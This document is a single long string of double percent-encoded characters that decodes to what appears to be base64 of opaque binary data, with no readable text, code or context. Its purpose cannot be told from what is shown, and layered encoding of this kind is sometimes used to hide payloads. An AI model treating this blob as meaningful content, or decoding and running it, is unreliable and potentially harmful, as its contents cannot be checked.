%36%35%25%35%36%25%32%62%25%35%37%25%35%37%25%34%66%25%36%34%25%37%34%25%35%34%25%33%34%25%36%63%25%37%39%25%35%33%25%35%33%25%35%30%25%35%30%25%35%38%25%34%34%25%35%30%25%35%31%25%32%62%25%37%34%25%37%34%25%33%39%25%34%64%25%33%39%25%36%64%25%34%65%25%33%38%25%33%33%25%33%33%25%36%65%25%33%30%25%35%37%25%33%32%25%34%62%25%34%38%25%34%38%25%35%38%25%35%32%25%33%37%25%37%36%25%37%33%25%33%39%25%37%34%25%37%34%25%36%65%25%36%64%25%37%39%25%37%38%25%34%65%25%34%37%25%34%38%25%36%31%25%33%36%25%35%61%25%35%39%25%34%38%25%36%65%25%35%38%25%36%65%25%36%38%25%37%30%25%36%39%25%36%63%25%37%39%25%35%36%25%35%36%25%35%36%25%34%36%25%35%36%25%34%65%25%36%34%25%35%38%25%35%36%25%33%38%25%34%35%25%36%31%25%33%32%25%36%64%25%36%64%25%37%31%25%37%30%25%37%32%25%35%31%25%33%36%25%33%33%25%35%30%25%34%65%25%33%33%25%33%30%25%33%30%25%35%35%25%33%35%25%33%37%25%34%38%25%35%38%25%35%34%25%35%35%25%35%33%25%35%37%25%36%34%25%37%36%25%36%34%25%36%34%25%34%36%25%36%34%25%34%34%25%37%61%25%33%33%25%33%31%25%33%30%25%36%63%25%37%35%25%34%32%25%36%36%25%34%34%25%36%64%25%33%36%25%36%64%25%36%64%25%33%36%25%34%37%25%33%32%25%35%37%25%36%31%25%36%31%25%35%61%25%35%31%25%33%34%25%34%65%25%34%31%25%34%64%25%34%61%25%32%66%25%34%31%25%34%31%25%34%34%25%36%66%25%34%31%25%34%61%25%34%31%25%37%39%25%37%39%25%36%64%25%37%30%25%36%39%25%34%65%25%37%34%25%34%66%25%37%39%25%33%32%25%33%35%25%33%37%25%34%34%25%32%66%25%36%33%25%34%39%25%33%39%25%37%39%25%33%32%25%36%63%25%36%37%25%34%63%25%36%66%25%34%64%25%37%39%25%35%36%25%35%39%25%35%32%25%34%39%25%34%62%25%33%34%25%37%31%25%37%39%25%36%66%25%35%37%25%36%39%25%37%36%25%36%39%25%36%61%25%34%37%25%33%32%25%35%37%25%34%31%25%37%35%25%34%63%25%34%64%25%33%36%25%35%61%25%33%34%25%36%38%25%35%32%25%34%62%25%36%62%25%34%37%25%33%36%25%35%33%25%35%35%25%33%30%25%37%33%25%35%61%25%35%36%25%37%38%25%37%36%25%37%36%25%34%62%25%36%35%25%36%63%25%36%33%25%33%35%25%34%38%25%37%39%25%37%30%25%37%36%25%36%33%25%36%38%25%36%64%25%33%32%25%37%39%25%36%34%25%35%31%25%34%39%25%37%31%25%33%37%25%34%36%25%35%36%25%34%65%25%35%36%25%34%36%25%35%35%25%35%35%25%33%36%25%37%34%25%37%32%25%37%30%25%37%32%25%36%61%25%36%64%25%36%63%25%37%34%25%36%36%25%34%33%25%34%63%25%37%39%25%33%30%25%34%65%25%35%39%25%34%37%25%33%36%25%36%37%25%34%65%25%35%31%25%33%32%25%37%39%25%37%32%25%37%33%25%34%38%25%35%37%25%34%65%25%37%33%25%35%33%25%36%65%25%35%39%25%36%34%25%36%62%25%34%61%25%34%64%25%37%32%25%34%31%25%37%36%25%34%61%25%37%33%25%34%37%25%36%62%25%35%36%25%36%65%25%36%61%25%36%33%25%35%33%25%36%37%25%33%39%25%36%31%25%33%35%25%35%36%25%33%36%25%37%32%25%35%30%25%35%37%25%37%39%25%34%65%25%33%39%25%36%31%25%33%32%25%33%31%25%37%33%25%35%35%25%34%63%25%32%66%25%35%37%25%36%64%25%36%34%25%37%61%25%35%32%25%35%37%25%33%36%25%33%32%25%33%33%25%37%36%25%37%37%25%33%32%25%32%62%25%34%62%25%32%62%25%34%65%25%34%36%25%37%32%25%35%38%25%34%61%25%36%63%25%36%61%25%35%39%25%37%32%25%36%31%25%35%39%25%37%35%25%33%37%25%36%32%25%36%36%25%35%38%25%35%32%25%34%65%25%37%34%25%37%36%25%37%34%25%36%31%25%36%66%25%36%36%25%36%36%25%33%37%25%36%36%25%35%32%25%33%35%25%33%32%25%34%63%25%35%38%25%34%31%25%33%34%25%35%37%25%33%35%25%35%39%25%34%66%25%37%35%25%37%38%25%35%61%25%36%61%25%37%37%25%34%32%25%36%37%25%33%37%25%33%38%25%34%63%25%37%61%25%36%33%25%34%32%25%32%66%25%36%33%25%36%31%25%37%32%25%33%38%25%34%36%25%34%34%25%36%61%25%36%61%25%36%62%25%36%35%25%35%39%25%36%34%25%34%65%25%36%33%25%36%33%25%35%32%25%36%63%25%36%31%25%35%36%25%33%32%25%35%32%25%36%35%25%33%33%25%36%39%25%35%36%25%35%33%25%36%35%25%35%38%25%34%34%25%33%32%25%32%66%25%34%33%25%36%64%25%34%66%25%33%34%25%36%36%25%35%61%25%37%31%25%36%61%25%37%38%25%35%35%25%33%38%25%32%66%25%34%31%25%35%32%25%33%35%25%35%30%25%35%36%25%35%39%25%34%65%25%37%38%25%33%37%25%34%36%25%33%36%25%37%36%25%35%61%25%34%61%25%34%38%25%32%66%25%32%66%25%33%35%25%37%32%25%36%63%25%33%30%25%32%66%25%37%36%25%34%66%25%33%30%25%36%65%25%34%33%25%34%36%25%33%33%25%33%38%25%33%38%25%36%62%25%32%66%25%33%33%25%35%33%25%36%38%25%35%34%25%36%62%25%36%38%25%35%33%25%35%32%25%36%36%25%35%37%25%36%37%25%32%66%25%36%31%25%35%33%25%36%37%25%36%34%25%34%31%25%36%61%25%36%65%25%35%31%25%35%31%25%36%34%25%34%33%25%33%33%25%33%32%25%37%38%25%36%36%25%37%33%25%37%39%25%33%30%25%37%32%25%34%62%25%36%36%25%34%31%25%36%36%25%33%37%25%34%39%25%36%36%25%36%61%25%32%66%25%36%38%25%34%32%25%36%34%25%36%39%25%36%36%25%37%37%25%34%65%25%32%62%25%35%33%25%34%61%25%37%34%25%33%36%25%35%34%25%34%31%25%34%33%25%37%37%25%34%37%25%36%31%25%35%36%25%37%31%25%36%64%25%36%37%25%32%62%25%36%63%25%34%62%25%34%64%25%33%38%25%34%34%25%37%33%25%36%62%25%36%64%25%35%61%25%36%63%25%34%65%25%37%30%25%36%39%25%37%30%25%34%65%25%34%31%25%36%36%25%34%64%25%36%31%25%35%37%25%36%62%25%34%32%25%35%61%25%37%34%25%36%31%25%37%35%25%37%34%25%34%31%25%35%32%25%36%37%25%35%31%25%36%62%25%36%62%25%36%32%25%33%37%25%36%66%25%33%30%25%34%31%25%37%36%25%36%66%25%34%37%25%33%30%25%34%62%25%35%61%25%37%36%25%34%32%25%33%33%25%34%61%25%36%32%25%33%32%25%36%37%25%37%33%25%36%65%25%35%37%25%35%33%25%36%66%25%33%38%25%34%31%25%33%39%25%37%32%25%35%34%25%33%30%25%34%35%25%35%61%25%35%30%25%35%61%25%37%34%25%35%33%25%33%34%25%34%31%25%33%32%25%34%62%25%37%32%25%33%31%25%34%37%25%36%36%25%36%39%25%36%39%25%33%39%25%35%31%25%35%38%25%33%34%25%37%31%25%36%64%25%33%30%25%34%33%25%36%35%25%34%62%25%33%31%25%37%34%25%34%64%25%36%65%25%36%38%25%36%39%25%35%33%25%36%36%25%32%66%25%35%31%25%35%32%25%34%63%25%33%34%25%37%31%25%37%31%25%36%39%25%36%65%25%37%36%25%34%36%25%35%37%25%33%33%25%37%35%25%35%37%25%37%30%25%37%31%25%36%35%25%35%34%25%34%61%25%34%66%25%35%38%25%34%65%25%34%33%25%35%35%25%34%33%25%33%35%25%35%34%25%34%31%25%34%35%25%33%30%25%33%37%25%37%37%25%37%61%25%37%36%25%33%35%25%33%31%25%35%30%25%35%39%25%35%37%25%37%36%25%34%36%25%33%31%25%34%66%25%34%32%25%35%31%25%33%37%25%37%34%25%36%61%25%36%36%25%36%39%25%36%31%25%35%61%25%36%37%25%35%34%25%37%34%25%33%37%25%35%32%25%36%37%25%36%31%25%37%39%25%34%32%25%36%36%25%33%31%25%34%31%25%34%33%25%32%66%25%37%36%25%33%36%25%36%34%25%37%38%25%34%35%25%34%35%25%36%39%25%36%38%25%34%33%25%35%39%25%33%31%25%34%37%25%34%63%25%35%37%25%35%31%25%34%66%25%34%61%25%36%61%25%34%39%25%35%31%25%35%33%25%33%38%25%34%35%25%32%62%25%37%38%25%36%64%25%33%34%25%34%33%25%34%33%25%33%33%25%34%37%25%37%37%25%33%36%25%33%30%25%33%39%25%32%62%25%37%39%25%34%37%25%34%37%25%33%33%25%35%34%25%35%61%25%35%36%25%37%61%25%35%61%25%37%33%25%35%38%25%35%37%25%34%34%25%34%31%25%36%39%25%34%38%25%36%38%25%35%30%25%34%33%25%37%34%25%32%62%25%34%38%25%37%38%25%34%37%25%36%65%25%33%36%25%33%33%25%36%66%25%35%31%25%37%37%25%35%61%25%36%33%25%36%64%25%33%33%25%36%31%25%34%38%25%37%30%25%37%30%25%36%65%25%34%33%25%37%39%25%37%37%25%34%34%25%33%39%25%37%38%25%35%35%25%33%38%25%37%39%25%37%33%25%36%34%25%33%34%25%35%35%25%37%35%25%34%39%25%35%31%25%33%32%25%34%63%25%36%37%25%36%37%25%35%32%25%36%66%25%35%32%25%37%33%25%36%37%25%37%37%25%33%30%25%36%35%25%33%33%25%36%37%25%36%39%25%37%36%25%33%35%25%36%65%25%32%66%25%37%36%25%35%34%25%37%30%25%36%64%25%33%34%25%34%63%25%36%63%25%33%38%25%36%38%25%36%34%25%32%62%25%33%37%25%35%39%25%37%35%25%37%61%25%35%39%25%36%32%25%35%61%25%37%36%25%35%33%25%37%38%25%34%34%25%34%31%25%35%30%25%33%33%25%34%33%25%35%31%25%34%39%25%33%30%25%33%32%25%35%61%25%34%38%25%36%31%25%37%32%25%33%33%25%37%34%25%34%38%25%36%34%25%36%37%25%36%62%25%35%39%25%37%33%25%33%34%25%36%62%25%36%66%25%34%65%25%37%61%25%35%33%25%33%39%25%36%32%25%32%66%25%35%33%25%37%35%25%36%33%25%34%64%25%36%39%25%36%65%25%37%38%25%35%32%25%36%36%25%35%38%25%37%34%25%36%66%25%34%62%25%37%32%25%37%35%25%35%61%25%32%62%25%36%32%25%34%37%25%36%34%25%36%34%25%36%32%25%33%30%25%34%63%25%34%31%25%33%37%25%36%37%25%36%32%25%37%32%25%36%38%25%36%66%25%36%33%25%34%33%25%34%37%25%33%35%25%36%34%25%37%36%25%33%36%25%37%35%25%36%65%25%35%61%25%33%38%25%35%38%25%34%39%25%33%33%25%36%61%25%37%39%25%35%30%25%34%62%25%35%36%25%34%35%25%37%36%25%37%39%25%34%64%25%35%37%25%35%31%25%33%37%25%36%35%25%37%36%25%35%38%25%36%64%25%33%34%25%37%39%25%35%37%25%36%65%25%35%39%25%35%34%25%36%66%25%33%33%25%36%64%25%34%64%25%34%63%25%35%34%25%33%36%25%37%32%25%34%65%25%36%39%25%34%61%25%33%38%25%37%30%25%36%63%25%37%37%25%36%65%25%33%34%25%34%31%25%34%65%25%36%39%25%35%35%25%34%64%25%37%30%25%37%32%25%37%35%25%32%66%25%36%32%25%37%30%25%37%35%25%34%37%25%34%61%25%33%36%25%36%34%25%32%62%25%35%61%25%37%38%25%34%32%25%33%38%25%34%31%25%36%34%25%35%33%25%33%38%25%34%37%25%34%31%25%34%35%25%33%30%25%34%33%25%36%37%25%34%33%25%33%30%25%34%34%25%36%36%25%34%31%25%35%38%25%36%61%25%35%31%25%35%31%25%34%34%25%32%66%25%37%33%25%37%37%25%34%34%25%34%33%25%36%35%25%32%62%25%34%33%25%33%33%25%37%37%25%34%63%25%35%35%25%34%32%25%34%64%25%36%37%25%34%34%25%34%34%25%34%35%25%35%39%25%36%31%25%37%35%25%35%30%25%37%33%25%37%35%25%37%31%25%33%31%25%35%30%25%36%36%25%34%35%25%36%66%25%36%34%25%36%34%25%33%35%25%32%66%25%34%31%25%33%36%25%36%63%25%36%36%25%36%65%25%36%65%25%36%34%25%37%33%25%35%38%25%33%34%25%35%39%25%33%33%25%36%62%25%37%39%25%37%39%25%34%66%25%37%30%25%37%30%25%36%62%25%32%62%25%35%33%25%33%31%25%34%32%25%33%39%25%36%37%25%36%37%25%33%34%25%35%30%25%35%33%25%36%37%25%37%33%25%33%34%25%35%31%25%35%32%25%37%30%25%33%30%25%35%61%25%35%61%25%37%33%25%35%33%25%36%65%25%37%36%25%35%31%25%37%36%25%35%31%25%36%37%25%37%30%25%34%39%25%36%63%25%35%37%25%35%61%25%36%63%25%35%34%25%36%36%25%34%65%25%35%38%25%36%33%25%35%61%25%35%37%25%34%35%25%35%34%25%34%31%25%34%65%25%37%35%25%36%35%25%34%39%25%35%34%25%33%36%25%37%38%25%34%31%25%35%38%25%33%39%25%33%35%25%36%37%25%37%33%25%37%37%25%35%34%25%37%37%25%36%32%25%34%37%25%36%39%25%34%65%25%33%33%25%34%62%25%32%62%25%35%30%25%34%66%25%34%38%25%35%37%25%34%66%25%35%39%25%36%62%25%35%39%25%33%38%25%37%35%25%37%36%25%33%38%25%35%35%25%35%37%25%37%37%25%37%38%25%33%39%25%36%31%25%36%63%25%37%30%25%34%39%25%36%65%25%34%39%25%35%61%25%35%61%25%34%62%25%34%62%25%34%63%25%36%63%25%35%38%25%33%32%25%34%37%25%37%33%25%33%36%25%37%30%25%33%35%25%35%33%25%37%33%25%35%33%25%34%34%25%37%33%25%36%65%25%34%38%25%36%65%25%36%38%25%37%36%25%36%63%25%37%34%25%33%37%25%34%61%25%35%35%25%36%32%25%35%36%25%37%35%25%37%31%25%36%35%25%33%30%25%36%62%25%36%64%25%36%38%25%36%33%25%35%38%25%36%31%25%37%31%25%37%39%25%36%33%25%33%30%25%37%31%25%33%35%25%36%37%25%37%30%25%33%31%25%37%30%25%32%66%25%36%34%25%34%37%25%34%66%25%33%34%25%33%36%25%32%62%25%37%36%25%33%36%25%36%64%25%33%35%25%36%66%25%36%62%25%36%34%25%35%38%25%33%31%25%35%36%25%35%32%25%35%37%25%34%37%25%33%31%25%34%36%25%33%33%25%36%35%25%35%37%25%33%34%25%35%35%25%34%38%25%34%62%25%35%31%25%33%32%25%34%39%25%37%36%25%36%31%25%33%39%25%33%33%25%33%36%25%37%37%25%33%38%25%35%36%25%35%38%25%36%38%25%37%39%25%37%34%25%36%61%25%35%36%25%34%65%25%34%34%25%37%61%25%35%31%25%37%39%25%35%35%25%32%66%25%33%32%25%35%32%25%37%31%25%33%37%25%34%65%25%33%38%25%33%35%25%37%33%25%35%36%25%36%31%25%34%34%25%37%31%25%36%37%25%36%36%25%34%37%25%36%65%25%36%32%25%36%34%25%34%64%25%35%31%25%33%32%25%34%32%25%36%39%25%33%35%25%34%63%25%33%35%25%36%39%25%37%37%25%34%64%25%35%61%25%37%61%25%36%36%25%35%30%25%36%35%25%34%31%25%36%39%25%33%36%25%33%31%25%33%36%25%37%37%25%35%34%25%36%64%25%36%62%25%37%35%25%36%31%25%37%35%25%34%31%25%36%65%25%32%66%25%35%38%25%36%38%25%36%64%25%37%32%25%34%61%25%35%31%25%35%39%25%37%61%25%36%39%25%37%35%25%33%36%25%34%37%25%33%35%25%35%36%25%36%34%25%36%63%25%34%32%25%33%37%25%34%37%25%37%37%25%34%38%25%35%39%25%37%36%25%36%62%25%36%65%25%36%66%25%35%35%25%34%63%25%36%35%25%36%65%25%37%31%25%36%33%25%36%65%25%33%35%25%36%39%25%34%61%25%33%35%25%33%30%25%34%39%25%36%66%25%36%31%25%35%34%25%35%35%25%36%35%25%35%34%25%34%61%25%35%34%25%34%62%25%35%35%25%36%62%25%33%34%25%33%38%25%36%38%25%33%37%25%37%38%25%37%33%25%36%33%25%33%33%25%33%30%25%33%38%25%36%64%25%36%62%25%33%35%25%35%36%25%37%38%25%34%37%25%34%65%25%33%37%25%32%62%25%33%31%25%33%32%25%33%30%25%37%30%25%34%31%25%35%33%25%37%35%25%35%33%25%34%62%25%36%63%25%35%35%25%34%38%25%36%39%25%35%36%25%35%30%25%34%62%25%34%65%25%37%61%25%36%62%25%33%35%25%34%64%25%36%33%25%34%39%25%36%61%25%36%65%25%33%34%25%34%33%25%34%63%25%37%61%25%34%38%25%33%36%25%34%34%25%36%34%25%36%62%25%36%35%25%36%39%25%34%31%25%36%65%25%34%32%25%36%36%25%34%33%25%36%65%25%35%35%25%35%31%25%34%33%25%33%31%25%34%64%25%34%39%25%36%63%25%33%33%25%35%32%25%34%34%25%37%30%25%34%34%25%35%30%25%37%37%25%35%35%25%36%66%25%37%33%25%37%37%25%36%39%25%36%39%25%33%34%25%37%39%25%36%38%25%34%66%25%33%32%25%34%31%25%35%32%25%35%34%25%36%64%25%34%35%25%35%38%25%35%36%25%34%35%25%35%36%25%34%37%25%33%38%25%34%62%25%35%38%25%37%37%25%35%31%25%37%33%25%36%36%25%37%33%25%34%36%25%37%37%25%34%35%25%36%65%25%36%34%25%33%30%25%36%38%25%35%37%25%36%32%25%34%35%25%33%38%25%34%32%25%34%37%25%36%37%25%33%34%25%37%39%25%35%32%25%34%61%25%34%66%25%36%61%25%34%33%25%34%31%25%34%32%25%36%33%25%35%31%25%34%39%25%34%32%25%36%38%25%34%31%25%34%38%25%34%62%25%36%33%25%37%38%25%33%33%25%36%39%25%37%31%25%34%61%25%35%32%25%36%63%25%36%35%25%37%35%25%35%30%25%35%37%25%37%33%25%33%33%25%35%31%25%33%30%25%35%61%25%36%31%25%34%34%25%33%32%25%32%62%25%37%30%25%35%61%25%37%35%25%36%61%25%36%62%25%35%31%25%34%65%25%33%32%25%36%63%25%37%30%25%35%38%25%37%39%25%34%38%25%37%33%25%34%61%25%33%38%25%35%30%25%33%39%25%36%64%25%33%34%25%36%61%25%34%36%25%34%66%25%36%39%25%36%62%25%36%34%25%36%33%25%34%36%25%34%39%25%35%30%25%35%33%25%32%62%25%36%34%25%34%39%25%32%62%25%33%35%25%34%34%25%35%30%25%33%34%25%36%33%25%36%63%25%34%65%25%32%62%25%33%36%25%33%39%25%37%36%25%37%36%25%37%34%25%33%34%25%34%39%25%37%61%25%33%32%25%36%62%25%36%64%25%36%31%25%35%39%25%32%66%25%37%33%25%33%34%25%37%38%25%34%31%25%33%37%25%37%31%25%35%36%25%36%39%25%34%35%25%37%31%25%34%64%25%34%35%25%36%34%25%34%37%25%36%37%25%35%33%25%33%39%25%34%39%25%35%33%25%37%37%25%33%39%25%33%38%25%35%39%25%34%62%25%33%36%25%36%36%25%34%38%25%32%62%25%32%62%25%36%66%25%37%37%25%33%35%25%34%38%25%35%35%25%37%38%25%36%64%25%37%36%25%36%66%25%34%32%25%36%61%25%33%35%25%33%37%25%37%34%25%34%38%25%37%33%25%37%39%25%35%38%25%34%65%25%36%32%25%36%36%25%36%34%25%33%31%25%34%36%25%36%63%25%34%38%25%35%34%25%36%63%25%35%61%25%33%37%25%37%33%25%36%63%25%34%31%25%36%33%25%35%34%25%33%37%25%35%34%25%36%31%25%36%36%25%37%38%25%37%61%25%34%62%25%36%64%25%37%37%25%37%33%25%36%35%25%33%33%25%33%39%25%36%34%25%35%39%25%34%38%25%33%39%25%34%65%25%35%38%25%35%61%25%37%38%25%35%34%25%36%37%25%36%66%25%34%61%25%37%31%25%34%38%25%37%34%25%37%37%25%32%66%25%36%63%25%34%66%25%36%35%25%33%34%25%33%34%25%36%64%25%36%33%25%35%37%25%34%38%25%37%32%25%35%38%25%34%34%25%36%38%25%35%37%25%34%39%25%34%36%25%32%62%25%36%37%25%33%31%25%34%32%25%34%33%25%37%61%25%33%35%25%34%33%25%32%66%25%34%32%25%36%61%25%34%63%25%36%31%25%34%64%25%37%34%25%35%31%25%35%38%25%35%39%25%35%35%25%34%34%25%35%32%25%36%36%25%35%30%25%34%36%25%33%38%25%36%64%25%34%32%25%33%30%25%35%37%25%35%32%25%35%36%25%36%66%25%34%34%25%34%64%25%34%31%25%34%38%25%35%31%25%36%66%25%33%30%25%36%65%25%34%39%25%36%62%25%36%33%25%35%30%25%34%63%25%36%34%25%37%34%25%36%64%25%37%31%25%36%34%25%33%37%25%36%61%25%34%37%25%35%39%25%36%32%25%36%32%25%33%32%25%35%34%25%36%36%25%34%39%25%34%66%25%33%34%25%36%39%25%36%66%25%35%61%25%37%30%25%36%61%25%35%35%25%36%62%25%36%34%25%35%36%25%34%66%25%36%38%25%36%61%25%36%65%25%34%35%25%33%31%25%35%30%25%36%31%25%36%35%25%33%34%25%32%62%25%33%37%25%37%31%25%36%36%25%35%36%25%36%37%25%36%36%25%33%34%25%34%38%25%34%61%25%34%31%25%35%30%25%37%36%25%37%37%25%35%31%25%35%39%25%37%36%25%36%64%25%35%38%25%33%34%25%35%33%25%37%34%25%33%39%25%36%64%25%33%31%25%36%34%25%34%61%25%36%34%25%36%36%25%37%32%25%33%38%25%36%61%25%37%32%25%35%31%25%33%33%25%36%63%25%34%38%25%35%37%25%36%66%25%36%35%25%33%33%25%36%38%25%34%34%25%35%37%25%36%33%25%35%37%25%34%34%25%37%61%25%32%66%25%36%36%25%35%36%25%37%38%25%34%37%25%32%66%25%35%34%25%35%33%25%37%61%25%36%34%25%35%33%25%34%32%25%33%32%25%37%39%25%36%33%25%35%35%25%34%64%25%34%66%25%34%37%25%32%62%25%34%31%25%37%33%25%34%61%25%34%65%25%37%35%25%35%34%25%35%36%25%36%65%25%37%34%25%37%36%25%36%38%25%36%61%25%36%31%25%35%35%25%34%36%25%35%32%25%37%34%25%37%39%25%36%36%25%35%39%25%34%36%25%35%39%25%35%31%25%33%35%25%34%37%25%35%31%25%34%31%25%36%32%25%33%32%25%34%63%25%35%37%25%37%38%25%36%39%25%36%34%25%37%31%25%35%39%25%34%38%25%37%34%25%36%39%25%36%36%25%36%66%25%34%61%25%33%35%25%36%34%25%36%37%25%34%36%25%36%61%25%36%66%25%34%61%25%36%35%25%34%63%25%37%61%25%37%36%25%37%38%25%33%36%25%33%33%25%34%38%25%36%63%25%36%32%25%33%37%25%33%33%25%37%34%25%33%33%25%37%39%25%34%35%25%33%30%25%34%38%25%34%63%25%36%39%25%34%31%25%35%32%25%37%31%25%33%33%25%34%37%25%34%66%25%34%37%25%36%61%25%34%33%25%35%34%25%37%32%25%37%35%25%37%61%25%35%32%25%34%36%25%33%34%25%34%63%25%36%64%25%33%33%25%35%35%25%37%39%25%37%32%25%34%61%25%35%39%25%34%64%25%36%65%25%34%61%25%36%37%25%34%34%25%36%37%25%36%32%25%36%61%25%33%31%25%35%36%25%36%35%25%37%37%25%33%38%25%34%62%25%37%32%25%34%65%25%32%66%25%36%63%25%37%39%25%35%32%25%36%32%25%33%37%25%34%62%25%33%32%25%37%35%25%37%33%25%34%39%25%33%31%25%33%31%25%33%31%25%36%61%25%35%36%25%36%37%25%34%66%25%33%30%25%33%33%25%34%63%25%34%38%25%34%39%25%37%32%25%34%64%25%35%32%25%34%39%25%34%34%25%37%30%25%34%33%25%34%65%25%35%34%25%34%65%25%33%35%25%34%61%25%37%34%25%34%65%25%36%32%25%33%39%25%37%39%25%36%36%25%34%62%25%34%32%25%36%36%25%35%34%25%34%36%25%36%33%25%35%31%25%37%39%25%37%35%25%36%35%25%32%62%25%36%64%25%37%31%25%36%39%25%34%36%25%37%36%25%36%34%25%36%37%25%34%61%25%37%32%25%33%35%25%34%33%25%36%38%25%36%35%25%37%33%25%34%36%25%33%30%25%37%38%25%34%65%25%35%37%25%35%36%25%35%36%25%34%65%25%33%38%25%36%38%25%34%35%25%35%39%25%35%34%25%34%35%25%34%63%25%34%65%25%37%30%25%36%31%25%37%37%25%36%32%25%35%35%25%37%30%25%36%64%25%34%36%25%35%31%25%34%37%25%35%36%25%36%36%25%37%39%25%35%30%25%37%33%25%32%66%25%33%36%25%34%31%25%33%33%25%37%36%25%33%32%25%35%31%25%36%65%25%35%37%25%34%61%25%33%32%25%36%33%25%34%62%25%37%35%25%33%30%25%35%31%25%37%31%25%33%39%25%33%39%25%36%37%25%35%38%25%35%37%25%33%38%25%35%30%25%33%37%25%33%37%25%34%33%25%34%35%25%33%31%25%34%65%25%35%37%25%34%32%25%35%32%25%36%65%25%34%35%25%33%31%25%34%34%25%37%32%25%36%37%25%33%36%25%35%33%25%36%38%25%35%36%25%37%32%25%36%63%25%37%33%25%36%38%25%33%32%25%37%30%25%37%34%25%35%37%25%36%61%25%35%38%25%35%34%25%35%33%25%34%66%25%36%64%25%33%33%25%34%35%25%34%63%25%34%39%25%37%33%25%34%33%25%34%61%25%36%38%25%36%38%25%36%39%25%35%32%25%34%65%25%35%33%25%35%35%25%35%32%25%36%62%25%37%35%25%36%61%25%37%61%25%34%61%25%37%61%25%36%62%25%36%64%25%34%39%25%33%37%25%33%39%25%33%32%25%33%30%25%34%31%25%37%32%25%36%37%25%34%39%25%34%31%25%34%33%25%35%33%25%36%36%25%37%32%25%33%31%25%33%30%25%34%39%25%37%39%25%35%36%25%33%30%25%36%39%25%37%34%25%32%66%25%37%32%25%37%33%25%33%34%25%37%35%25%34%34%25%36%62%25%36%62%25%36%65%25%35%31%25%36%36%25%33%32%25%35%35%25%34%31%25%37%33%25%36%35%25%34%65%25%36%34%25%33%31%25%37%32%25%37%38%25%34%66%25%34%65%25%34%32%25%36%35%25%34%38%25%33%39%25%34%33%25%34%62%25%36%33%25%34%64%25%34%31%25%34%66%25%36%63%25%36%38%25%37%30%25%37%30%25%36%32%25%34%32%25%36%62%25%34%35%25%34%34%25%37%37%25%36%62%25%36%65%25%35%61%25%35%32%25%34%65%25%33%38%25%34%34%25%34%64%25%32%66%25%36%36%25%33%32%25%34%33%25%37%61%25%34%31%25%34%32%25%34%65%25%34%38%25%36%35%25%34%65%25%34%35%25%34%61%25%33%30%25%35%33%25%36%61%25%34%35%25%35%36%25%34%61%25%34%64%25%34%61%25%34%31%25%35%34%25%35%37%25%36%64%25%36%39%25%37%61%25%34%32%25%35%30%25%33%34%25%36%62%25%37%38%25%35%34%25%36%35%25%37%33%25%34%66%25%36%35%25%34%62%25%33%33%25%37%38%25%36%39%25%36%61%25%34%34%25%35%61%25%35%37%25%36%38%25%37%34%25%33%35%25%37%35%25%33%33%25%36%38%25%37%32%25%34%34%25%35%30%25%37%36%25%34%36%25%35%39%25%37%39%25%34%34%25%33%37%25%33%38%25%37%30%25%36%35%25%34%63%25%34%36%25%34%62%25%33%39%25%36%33%25%33%30%25%37%32%25%33%30%25%37%38%25%33%39%25%37%39%25%34%31%25%35%36%25%35%61%25%37%34%25%33%32%25%35%34%25%34%31%25%34%63%25%37%36%25%36%33%25%33%35%25%32%66%25%37%36%25%36%62%25%37%61%25%33%32%25%37%30%25%36%66%25%34%37%25%33%38%25%36%62%25%34%64%25%33%37%25%34%35%25%34%35%25%37%37%25%35%61%25%36%61%25%35%35%25%36%38%25%34%36%25%33%34%25%37%38%25%35%36%25%33%30%25%34%32%25%34%32%25%35%33%25%36%31%25%37%32%25%37%33%25%33%34%25%36%34%25%34%62%25%33%31%25%35%33%25%36%39%25%34%32%25%35%61%25%32%62%25%35%30%25%33%37%25%33%39%25%36%65%25%33%31%25%33%35%25%36%63%25%34%61%25%36%37%25%34%31%25%33%38%25%36%61%25%35%30%25%34%36%25%36%33%25%36%34%25%33%35%25%37%61%25%32%62%25%33%31%25%33%33%25%36%34%25%37%34%25%37%39%25%34%31%25%35%37%25%35%36%25%35%34%25%34%63%25%34%39%25%36%38%25%36%33%25%35%31%25%34%32%25%33%34%25%37%37%25%37%30%25%33%37%25%37%36%25%34%35%25%37%31%25%36%63%25%37%39%25%35%34%25%33%35%25%36%65%25%35%61%25%37%32%25%33%36%25%32%66%25%36%38%25%35%38%25%37%37%25%36%32%25%33%31%25%36%65%25%37%33%25%33%36%25%33%37%25%36%37%25%36%64%25%34%61%25%34%37%25%35%37%25%34%61%25%36%64%25%36%31%25%36%36%25%33%34%25%35%32%25%37%32%25%37%37%25%34%38%25%36%65%25%34%66%25%34%66%25%36%62%25%33%34%25%36%35%25%32%66%25%37%31%25%35%33%25%34%39%25%34%38%25%36%32%25%36%64%25%35%39%25%37%33%25%36%38%25%35%30%25%33%32%25%34%64%25%32%66%25%36%33%25%36%66%25%32%66%25%36%66%25%32%62%25%36%32%25%34%38%25%37%38%25%35%33%25%36%32%25%36%32%25%37%37%25%33%33%25%37%31%25%34%64%25%37%38%25%36%36%25%37%32%25%36%32%25%35%38%25%36%65%25%37%36%25%36%62%25%37%34%25%34%62%25%33%31%25%34%64%25%36%33%25%37%38%25%36%34%25%36%35%25%37%34%25%34%66%25%36%36%25%33%39%25%34%65%25%34%33%25%36%34%25%34%31%25%37%61%25%34%65%25%35%61%25%37%30%25%33%30%25%36%62%25%34%61%25%37%39%25%36%34%25%37%33%25%37%37%25%35%33%25%35%61%25%35%34%25%37%35%25%36%37%25%35%33%25%37%36%25%35%32%25%33%31%25%33%32%25%33%38%25%37%38%25%33%32%25%32%62%25%34%39%25%37%35%25%35%30%25%33%33%25%36%62%25%36%31%25%37%38%25%34%62%25%37%37%25%34%31%25%33%35%25%34%36%25%35%37%25%33%33%25%37%30%25%34%63%25%35%39%25%33%32%25%35%30%25%33%39%25%33%37%25%35%61%25%34%38%25%35%31%25%36%62%25%36%33%25%32%62%25%36%64%25%33%36%25%34%63%25%37%39%25%35%39%25%34%63%25%35%34%25%37%31%25%33%39%25%34%62%25%35%61%25%37%31%25%34%63%25%33%38%25%36%66%25%37%61%25%36%61%25%35%37%25%37%34%25%33%39%25%32%66%25%37%30%25%37%32%25%37%39%25%37%34%25%36%65%25%35%35%25%33%35%25%34%35%25%36%63%25%35%33%25%35%61%25%36%39%25%33%39%25%33%35%25%35%35%25%33%37%25%35%39%25%33%39%25%33%34%25%36%35%25%36%31%25%35%36%25%35%61%25%36%39%25%33%30%25%33%39%25%35%35%25%36%35%25%36%32%25%36%35%25%34%64%25%36%37%25%37%30%25%33%36%25%33%38%25%35%61%25%34%64%25%36%37%25%35%37%25%33%36%25%34%39%25%35%30%25